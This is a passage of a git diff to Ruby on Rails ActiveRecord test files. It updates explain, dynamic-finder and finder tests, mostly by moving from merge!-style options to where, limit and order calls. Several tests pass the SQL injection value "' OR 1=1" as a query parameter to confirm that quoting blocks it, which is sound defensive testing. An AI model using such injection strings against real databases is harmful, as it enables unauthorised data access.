- def warn; raise "Should not be called" end
- end
-
- with_threshold(0) do
- car = Car.where(:name => 'honda').first
- assert_equal 'honda', car.name
- end
- ensure
- base.logger = original
- end
-
- def test_collect_queries_for_explain
- base.auto_explain_threshold_in_seconds = nil
- queries = Thread.current[:available_queries_for_explain] = []
-
- with_threshold(0) do
- Car.where(:name => 'honda').to_a
- end
-
- sql, binds = queries[0]
- assert_match "SELECT", sql
- assert_match "honda", sql
- assert_equal [], binds
- ensure
- Thread.current[:available_queries_for_explain] = nil
+ def test_relation_explain
+ message = Car.where(:name => 'honda').explain
+ assert_match(/^EXPLAIN for:/, message)
end
def test_collecting_queries_for_explain
- result, queries = ActiveRecord::Base.collecting_queries_for_explain do
+ queries = ActiveRecord::Base.collecting_queries_for_explain do
Car.where(:name => 'honda').to_a
end
sql, binds = queries[0]
assert_match "SELECT", sql
- assert_match "honda", sql
- assert_equal [], binds
- assert_equal [cars(:honda)], result
- end
-
- def test_logging_query_plan_when_counting_by_sql
- base.logger.expects(:warn).with do |message|
- message.starts_with?('EXPLAIN for:')
- end
-
- with_threshold(0) do
- Car.count_by_sql "SELECT COUNT(*) FROM cars WHERE name = 'honda'"
+ if binds.any?
+ assert_equal 1, binds.length
+ assert_equal "honda", binds.flatten.last
+ else
+ assert_match 'honda', sql
end
end
@@ -113,25 +69,8 @@ if ActiveRecord::Base.connection.supports_explain?
base.logger.expects(:warn).never
- with_threshold(0) do
- Car.where(:name => 'honda').to_a
- end
+ Car.where(:name => 'honda').to_a
end
- def test_silence_auto_explain
- base.expects(:collecting_sqls_for_explain).never
- base.logger.expects(:warn).never
- base.silence_auto_explain do
- with_threshold(0) { Car.all }
- end
- end
-
- def with_threshold(threshold)
- current_threshold = base.auto_explain_threshold_in_seconds
- base.auto_explain_threshold_in_seconds = threshold
- yield
- ensure
- base.auto_explain_threshold_in_seconds = current_threshold
- end
end
end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 9440cd429a..6ab2657c44 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -5,6 +5,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
fixtures :topics
+ def test_should_preserve_normal_respond_to_behaviour_on_base
+ assert_respond_to ActiveRecord::Base, :new
+ assert !ActiveRecord::Base.respond_to?(:find_by_something)
+ end
+
def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
assert_respond_to Topic, :method_added_for_finder_respond_to_test
@@ -21,14 +26,9 @@ class FinderRespondToTest < ActiveRecord::TestCase
assert_respond_to Topic, :find_by_title
end
- def test_should_respond_to_find_all_by_one_attribute
- ensure_topic_method_is_not_cached(:find_all_by_title)
- assert_respond_to Topic, :find_all_by_title
- end
-
- def test_should_respond_to_find_all_by_two_attributes
- ensure_topic_method_is_not_cached(:find_all_by_title_and_author_name)
- assert_respond_to Topic, :find_all_by_title_and_author_name
+ def test_should_respond_to_find_by_with_bang
+ ensure_topic_method_is_not_cached(:find_by_title!)
+ assert_respond_to Topic, :find_by_title!
end
def test_should_respond_to_find_by_two_attributes
@@ -41,36 +41,6 @@ class FinderRespondToTest < ActiveRecord::TestCase
assert_respond_to Topic, :find_by_heading
end
- def test_should_respond_to_find_or_initialize_from_one_attribute
- ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
- assert_respond_to Topic, :find_or_initialize_by_title
- end
-
- def test_should_respond_to_find_or_initialize_from_two_attributes
- ensure_topic_method_is_not_cached(:find_or_initialize_by_title_and_author_name)
- assert_respond_to Topic, :find_or_initialize_by_title_and_author_name
- end
-
- def test_should_respond_to_find_or_create_from_one_attribute
- ensure_topic_method_is_not_cached(:find_or_create_by_title)
- assert_respond_to Topic, :find_or_create_by_title
- end
-
- def test_should_respond_to_find_or_create_from_two_attributes
- ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name)
- assert_respond_to Topic, :find_or_create_by_title_and_author_name
- end
-
- def test_should_respond_to_find_or_create_from_one_attribute_bang
- ensure_topic_method_is_not_cached(:find_or_create_by_title!)
- assert_respond_to Topic, :find_or_create_by_title!
- end
-
- def test_should_respond_to_find_or_create_from_two_attributes_bang
- ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name!)
- assert_respond_to Topic, :find_or_create_by_title_and_author_name!
- end
-
def test_should_not_respond_to_find_by_one_missing_attribute
assert !Topic.respond_to?(:find_by_undertitle)
end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 7db7953313..d4272bb9d1 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -4,21 +4,64 @@ require 'models/author'
require 'models/categorization'
require 'models/comment'
require 'models/company'
+require 'models/tagging'
require 'models/topic'
require 'models/reply'
require 'models/entrant'
require 'models/project'
require 'models/developer'
+require 'models/computer'
require 'models/customer'
require 'models/toy'
+require 'models/matey'
+require 'models/dog'
class FinderTest < ActiveRecord::TestCase
fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
+ def test_find_by_id_with_hash
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Post.find_by_id(:limit => 1)
+ end
+ end
+
+ def test_find_by_title_and_id_with_hash
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Post.find_by_title_and_id('foo', :limit => 1)
+ end
+ end
+
def test_find
assert_equal(topics(:first).title, Topic.find(1).title)
end
+ def test_find_with_proc_parameter_and_block
+ exception = assert_raises(RuntimeError) do
+ Topic.all.find(-> { raise "should happen" }) { |e| e.title == "non-existing-title" }
+ end
+ assert_equal "should happen", exception.message
+
+ assert_nothing_raised(RuntimeError) do
+ Topic.all.find(-> { raise "should not happen" }) { |e| e.title == topics(:first).title }
+ end
+ end
+
+ def test_find_passing_active_record_object_is_deprecated
+ assert_deprecated do
+ Topic.find(Topic.last)
+ end
+ end
+
+ def test_symbols_table_ref
+ gc_disabled = GC.disable if RUBY_VERSION >= '2.2.0'
+ Post.where("author_id" => nil) # warm up
+ x = Symbol.all_symbols.count
+ Post.where("title" => {"xxxqqqq" => "bar"})
+ assert_equal x, Symbol.all_symbols.count
+ ensure
+ GC.enable if gc_disabled == false
+ end
+
# find should handle strings that come from URLs
# (example: Category.find(params[:id]))
def test_find_with_string
@@ -26,25 +69,46 @@ class FinderTest < ActiveRecord::TestCase
end
def test_exists
- assert Topic.exists?(1)
- assert Topic.exists?("1")
- assert Topic.exists?(:author_name => "David")
- assert Topic.exists?(:author_name => "Mary", :approved => true)
- assert Topic.exists?(["parent_id = ?", 1])
- assert !Topic.exists?(45)
- assert !Topic.exists?(Topic.new)
-
- begin
- assert !Topic.exists?("foo")
- rescue ActiveRecord::StatementInvalid
- # PostgreSQL complains about string comparison with integer field
- rescue Exception
- flunk
- end
+ assert_equal true, Topic.exists?(1)
+ assert_equal true, Topic.exists?("1")
+ assert_equal true, Topic.exists?(title: "The First Topic")
+ assert_equal true, Topic.exists?(heading: "The First Topic")
+ assert_equal true, Topic.exists?(:author_name => "Mary", :approved => true)
+ assert_equal true, Topic.exists?(["parent_id = ?", 1])
+ assert_equal true, Topic.exists?(id: [1, 9999])
+
+ assert_equal false, Topic.exists?(45)
+ assert_equal false, Topic.exists?(Topic.new.id)
assert_raise(NoMethodError) { Topic.exists?([1,2]) }
end
+ def test_exists_with_polymorphic_relation
+ post = Post.create!(title: 'Post', body: 'default', taggings: [Tagging.new(comment: 'tagging comment')])
+ relation = Post.tagged_with_comment('tagging comment')
+
+ assert_equal true, relation.exists?(title: ['Post'])
+ assert_equal true, relation.exists?(['title LIKE ?', 'Post%'])
+ assert_equal true, relation.exists?
+ assert_equal true, relation.exists?(post.id)
+ assert_equal true, relation.exists?(post.id.to_s)
+
+ assert_equal false, relation.exists?(false)
+ end
+
+ def test_exists_passing_active_record_object_is_deprecated
+ assert_deprecated do
+ Topic.exists?(Topic.new)
+ end
+ end
+
+ def test_exists_fails_when_parameter_has_invalid_type
+ assert_raises(RangeError) do
+ assert_equal false, Topic.exists?(("9"*53).to_i) # number that's bigger than int
+ end
+ assert_equal false, Topic.exists?("foo")
+ end
+
def test_exists_does_not_select_columns_without_alias
assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
Topic.exists?
@@ -52,49 +116,62 @@ class FinderTest < ActiveRecord::TestCase
end
def test_exists_returns_true_with_one_record_and_no_args
- assert Topic.exists?
+ assert_equal true, Topic.exists?
end
def test_exists_returns_false_with_false_arg
- assert !Topic.exists?(false)
+ assert_equal false, Topic.exists?(false)
end
# exists? should handle nil for id's that come from URLs and always return false
# (example: Topic.exists?(params[:id])) where params[:id] is nil
def test_exists_with_nil_arg
- assert !Topic.exists?(nil)
- assert Topic.exists?
- assert !Topic.first.replies.exists?(nil)
- assert Topic.first.replies.exists?
+ assert_equal false, Topic.exists?(nil)
+ assert_equal true, Topic.exists?
+
+ assert_equal false, Topic.first.replies.exists?(nil)
+ assert_equal true, Topic.first.replies.exists?
end
# ensures +exists?+ runs valid SQL by excluding order value
def test_exists_with_order
- assert Topic.order(:id).uniq.exists?
+ assert_equal true, Topic.order(:id).distinct.exists?
end
def test_exists_with_includes_limit_and_empty_result
- assert !Topic.includes(:replies).limit(0).exists?
- assert !Topic.includes(:replies).limit(1).where('0 = 1').exists?
+ assert_equal false, Topic.includes(:replies).limit(0).exists?
+ assert_equal false, Topic.includes(:replies).limit(1).where('0 = 1').exists?
+ end
+
+ def test_exists_with_distinct_association_includes_and_limit
+ author = Author.first
+ assert_equal false, author.unique_categorized_posts.includes(:special_comments).limit(0).exists?
+ assert_equal true, author.unique_categorized_posts.includes(:special_comments).limit(1).exists?
+ end
+
+ def test_exists_with_distinct_association_includes_limit_and_order
+ author = Author.first
+ assert_equal false, author.unique_categorized_posts.includes(:special_comments).order('comments.tags_count DESC').limit(0).exists?
+ assert_equal true, author.unique_categorized_posts.includes(:special_comments).order('comments.tags_count DESC').limit(1).exists?
end
def test_exists_with_empty_table_and_no_args_given
Topic.delete_all
- assert !Topic.exists?
+ assert_equal false, Topic.exists?
end
def test_exists_with_aggregate_having_three_mappings
existing_address = customers(:david).address
- assert Customer.exists?(:address => existing_address)
+ assert_equal true, Customer.exists?(:address => existing_address)
end
def test_exists_with_aggregate_having_three_mappings_with_one_difference
existing_address = customers(:david).address
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
- assert !Customer.exists?(:address =>
+ assert_equal false, Customer.exists?(:address =>
Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
end
@@ -114,17 +191,39 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_by_ids_with_limit_and_offset
- assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
- assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
+ assert_equal 2, Entrant.limit(2).find([1,3,2]).size
+ assert_equal 1, Entrant.limit(3).offset(2).find([1,3,2]).size
# Also test an edge case: If you have 11 results, and you set a
# limit of 3 and offset of 9, then you should find that there
# will be only 2 results, regardless of the limit.
devs = Developer.all
- last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
+ last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
assert_equal 2, last_devs.size
end
+ def test_find_with_large_number
+ assert_raises(ActiveRecord::RecordNotFound) { Topic.find('9999999999999999999999999999999') }
+ end
+
+ def test_find_by_with_large_number
+ assert_nil Topic.find_by(id: '9999999999999999999999999999999')
+ end
+
+ def test_find_by_id_with_large_number
+ assert_nil Topic.find_by_id('9999999999999999999999999999999')
+ end
+
+ def test_find_on_relation_with_large_number
+ assert_nil Topic.where('1=1').find_by(id: 9999999999999999999999999999999)
+ end
+
+ def test_find_by_bang_on_relation_with_large_number
+ assert_raises(ActiveRecord::RecordNotFound) do
+ Topic.where('1=1').find_by!(id: 9999999999999999999999999999999)
+ end
+ end
+
def test_find_an_empty_array
assert_equal [], Topic.find([])
end
@@ -178,7 +277,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_take_bang_missing
- assert_raises ActiveRecord::RecordNotFound do
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
Topic.where("title = 'This title does not exist'").take!
end
end
@@ -198,7 +297,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_first_bang_missing
- assert_raises ActiveRecord::RecordNotFound do
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
Topic.where("title = 'This title does not exist'").first!
end
end
@@ -212,11 +311,99 @@ class FinderTest < ActiveRecord::TestCase
def test_model_class_responds_to_first_bang
assert Topic.first!
Topic.delete_all
- assert_raises ActiveRecord::RecordNotFound do
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
Topic.first!
end
end
+ def test_second
+ assert_equal topics(:second).title, Topic.second.title
+ end
+
+ def test_second_with_offset
+ assert_equal topics(:fifth), Topic.offset(3).second
+ end
+
+ def test_second_have_primary_key_order_by_default
+ expected = topics(:second)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.second
+ end
+
+ def test_model_class_responds_to_second_bang
+ assert Topic.second!
+ Topic.delete_all
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+ Topic.second!
+ end
+ end
+
+ def test_third
+ assert_equal topics(:third).title, Topic.third.title
+ end
+
+ def test_third_with_offset
+ assert_equal topics(:fifth), Topic.offset(2).third
+ end
+
+ def test_third_have_primary_key_order_by_default
+ expected = topics(:third)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.third
+ end
+
+ def test_model_class_responds_to_third_bang
+ assert Topic.third!
+ Topic.delete_all
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+ Topic.third!
+ end
+ end
+
+ def test_fourth
+ assert_equal topics(:fourth).title, Topic.fourth.title
+ end
+
+ def test_fourth_with_offset
+ assert_equal topics(:fifth), Topic.offset(1).fourth
+ end
+
+ def test_fourth_have_primary_key_order_by_default
+ expected = topics(:fourth)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.fourth
+ end
+
+ def test_model_class_responds_to_fourth_bang
+ assert Topic.fourth!
+ Topic.delete_all
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+ Topic.fourth!
+ end
+ end
+
+ def test_fifth
+ assert_equal topics(:fifth).title, Topic.fifth.title
+ end
+
+ def test_fifth_with_offset
+ assert_equal topics(:fifth), Topic.offset(0).fifth
+ end
+
+ def test_fifth_have_primary_key_order_by_default
+ expected = topics(:fifth)
+ expected.touch # PostgreSQL changes the default order if no order clause is used
+ assert_equal expected, Topic.fifth
+ end
+
+ def test_model_class_responds_to_fifth_bang
+ assert Topic.fifth!
+ Topic.delete_all
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+ Topic.fifth!
+ end
+ end
+
def test_last_bang_present
assert_nothing_raised do
assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
@@ -224,14 +411,14 @@ class FinderTest < ActiveRecord::TestCase
end
def test_last_bang_missing
- assert_raises ActiveRecord::RecordNotFound do
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
Topic.where("title = 'This title does not exist'").last!
end
end
def test_model_class_responds_to_last_bang
- assert_equal topics(:fourth), Topic.last!
- assert_raises ActiveRecord::RecordNotFound do
+ assert_equal topics(:fifth), Topic.last!
+ assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
Topic.delete_all
Topic.last!
end
@@ -274,7 +461,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_only_some_columns
- topic = Topic.all.merge!(:select => "author_name").find(1)
+ topic = Topic.select("author_name").find(1)
assert_raise(ActiveModel::MissingAttributeError) {topic.title}
assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
assert_nil topic.read_attribute("title")
@@ -286,23 +473,29 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_on_array_conditions
- assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
+ assert Topic.where(["approved = ?", false]).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(["approved = ?", true]).find(1) }
end
def test_find_on_hash_conditions
- assert Topic.all.merge!(:where => { :approved => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
+ assert Topic.where(approved: false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) }
end
def test_find_on_hash_conditions_with_explicit_table_name
- assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
+ assert Topic.where('topics.approved' => false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true).find(1) }
end
def test_find_on_hash_conditions_with_hashed_table_name
- assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
+ assert Topic.where(topics: { approved: false }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) }
+ end
+
+ def test_find_on_combined_explicit_and_hashed_table_names
+ assert Topic.where('topics.approved' => false, topics: { author_name: "David" }).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true, topics: { author_name: "David" }).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => false, topics: { author_name: "Melanie" }).find(1) }
end
def test_find_with_hash_conditions_on_joined_table
@@ -312,7 +505,7 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_with_hash_conditions_on_joined_table_and_with_range
- firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
+ firms = DependentFirm.joins(:account).where(name: 'RailsCore', accounts: { credit_limit: 55..60 })
assert_equal 1, firms.size
assert_equal companies(:rails_core), firms.first
end
@@ -330,71 +523,99 @@ class FinderTest < ActiveRecord::TestCase
end
def test_find_on_hash_conditions_with_range
- assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
+ assert_equal [1,2], Topic.where(id: 1..2).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2..3).find(1) }
end
def test_find_on_hash_conditions_with_end_exclusive_range
- assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
- assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
+ assert_equal [1,2,3], Topic.where(id: 1..3).to_a.map(&:id).sort
+ assert_equal [1,2], Topic.where(id: 1...3).to_a.map(&:id).sort
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2...3).find(3) }
end
def test_find_on_hash_conditions_with_multiple_ranges
- assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
- assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+ assert_equal [1,2,3], Comment.where(id: 1..3, post_id: 1..2).to_a.map(&:id).sort
+ assert_equal [1], Comment.where(id: 1..1, post_id: 1..10).to_a.map(&:id).sort
end
def test_find_on_hash_conditions_with_array_of_integers_and_ranges
- assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
+ assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [1..2, 3, 5, 6..8, 9]).to_a.map(&:id).sort
+ end
+
+ def test_find_on_hash_conditions_with_array_of_ranges
+ assert_equal [1,2,6,7,8], Comment.where(id: [1..2, 6..8]).to_a.map(&:id).sort
+ end
+
+ def test_find_on_hash_conditions_with_nested_array_of_integers_and_ranges
+ assert_deprecated do
+ assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [[1..2], 3, [5], 6..8, 9]).to_a.map(&:id).sort
+ end
+ end
+
+ def test_find_on_hash_conditions_with_array_of_integers_and_arrays
+ assert_deprecated do
+ assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [[1, 2], 3, 5, [6, [7], 8], 9]).to_a.map(&:id).sort
+ end
+ end
+
+ def test_find_on_hash_conditions_with_nested_array_of_integers_and_ranges_and_nils
+ assert_deprecated do
+ assert_equal [1,3,4,5], Topic.where(parent_id: [[2..6], nil]).to_a.map(&:id).sort
+ end
+ end
+
+ def test_find_on_hash_conditions_with_nested_array_of_integers_and_ranges_and_more_nils
+ assert_deprecated do
+ assert_equal [], Topic.where(parent_id: [[7..10, nil, [nil]], [nil]]).to_a.map(&:id).sort
+ end
end
def test_find_on_multiple_hash_conditions
- assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
- assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+ assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
+ assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
end
def test_condition_interpolation
assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ assert_nil Company.where(["name = '%s'", "37signals!"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
end
def test_condition_array_interpolation
- assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+ assert_kind_of Firm, Company.where(["name = '%s'", "37signals"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!"]).first
+ assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
end
def test_condition_hash_interpolation
- assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
- assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
- assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
+ assert_kind_of Firm, Company.where(name: "37signals").first
+ assert_nil Company.where(name: "37signals!").first
+ assert_kind_of Time, Topic.where(id: 1).first.written_on
end
def test_hash_condition_find_malformed
assert_raise(ActiveRecord::StatementInvalid) {
- Company.all.merge!(:where => { :id => 2, :dhh => true }).first
+ Company.where(id: 2, dhh: true).first
}
end
def test_hash_condition_find_with_escaped_characters
Company.create("name" => "Ain't noth'n like' \#stuff")
- assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
+ assert Company.where(name: "Ain't noth'n like' \#stuff").first
end
def test_hash_condition_find_with_array
- p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
- assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
+ p1, p2 = Post.limit(2).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(id: [p1, p2]).order('id asc').to_a
+ assert_equal [p1, p2], Post.where(id: [p1, p2.id]).order('id asc').to_a
end
def test_hash_condition_find_with_nil
- topic = Topic.all.merge!(:where => { :last_read => nil } ).first
+ topic = Topic.where(last_read: nil).first
assert_not_nil topic
assert_nil topic.last_read
end
@@ -443,61 +664,61 @@ class FinderTest < ActiveRecord::TestCase
def test_condition_utc_time_interpolation_with_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
+ assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getutc]).first
end
end
end
def test_hash_condition_utc_time_interpolation_with_default_timezone_local
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :local do
+ with_timezone_config default: :local do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
+ assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first
end
end
end
def test_condition_local_time_interpolation_with_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
+ assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getlocal]).first
end
end
end
def test_hash_condition_local_time_interpolation_with_default_timezone_utc
with_env_tz 'America/New_York' do
- with_active_record_default_timezone :utc do
+ with_timezone_config default: :utc do
topic = Topic.first
- assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
+ assert_equal topic, Topic.where(written_on: topic.written_on.getlocal).first
end
end
end
def test_bind_variables
- assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
- assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
- assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
+ assert_kind_of Firm, Company.where(["name = ?", "37signals"]).first
+ assert_nil Company.where(["name = ?", "37signals!"]).first
+ assert_nil Company.where(["name = ?", "37signals!' OR 1=1"]).first
+ assert_kind_of Time, Topic.where(["id = ?", 1]).first.written_on
assert_raise(ActiveRecord::PreparedStatementInvalid) {
- Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
+ Company.where(["id=? AND name = ?", 2]).first
}
assert_raise(ActiveRecord::PreparedStatementInvalid) {
- Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
+ Company.where(["id=?", 2, 3, 4]).first
}
end
def test_bind_variables_with_quotes
Company.create("name" => "37signals' go'es agains")
- assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
+ assert Company.where(["name = ?", "37signals' go'es agains"]).first
end
def test_named_bind_variables_with_quotes
Company.create("name" => "37signals' go'es agains")
- assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
+ assert Company.where(["name = :name", {name: "37signals' go'es agains"}]).first
end
def test_bind_arity
@@ -515,10 +736,10 @@ class FinderTest < ActiveRecord::TestCase
assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
- assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
- assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
- assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
- assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
+ assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first
+ assert_nil Company.where(["name = :name", { name: "37signals!" }]).first
+ assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first
+ assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on
end
class SimpleEnumerable
@@ -581,7 +802,7 @@ class FinderTest < ActiveRecord::TestCase
def test_named_bind_with_postgresql_type_casts
l = Proc.new { bind(":a::integer '2009-01-01'::date", :a => '10') }
assert_nothing_raised(&l)
- assert_equal "#{ActiveRecord::Base.quote_value('10')}::integer '2009-01-01'::date", l.call
+ assert_equal "#{ActiveRecord::Base.connection.quote('10')}::integer '2009-01-01'::date", l.call
end
def test_string_sanitation
@@ -602,7 +823,16 @@ class FinderTest < ActiveRecord::TestCase
def test_find_by_one_attribute_bang
assert_equal topics(:first), Topic.find_by_title!("The First Topic")
- assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+ assert_raises_with_message(ActiveRecord::RecordNotFound, "Couldn't find Topic") do
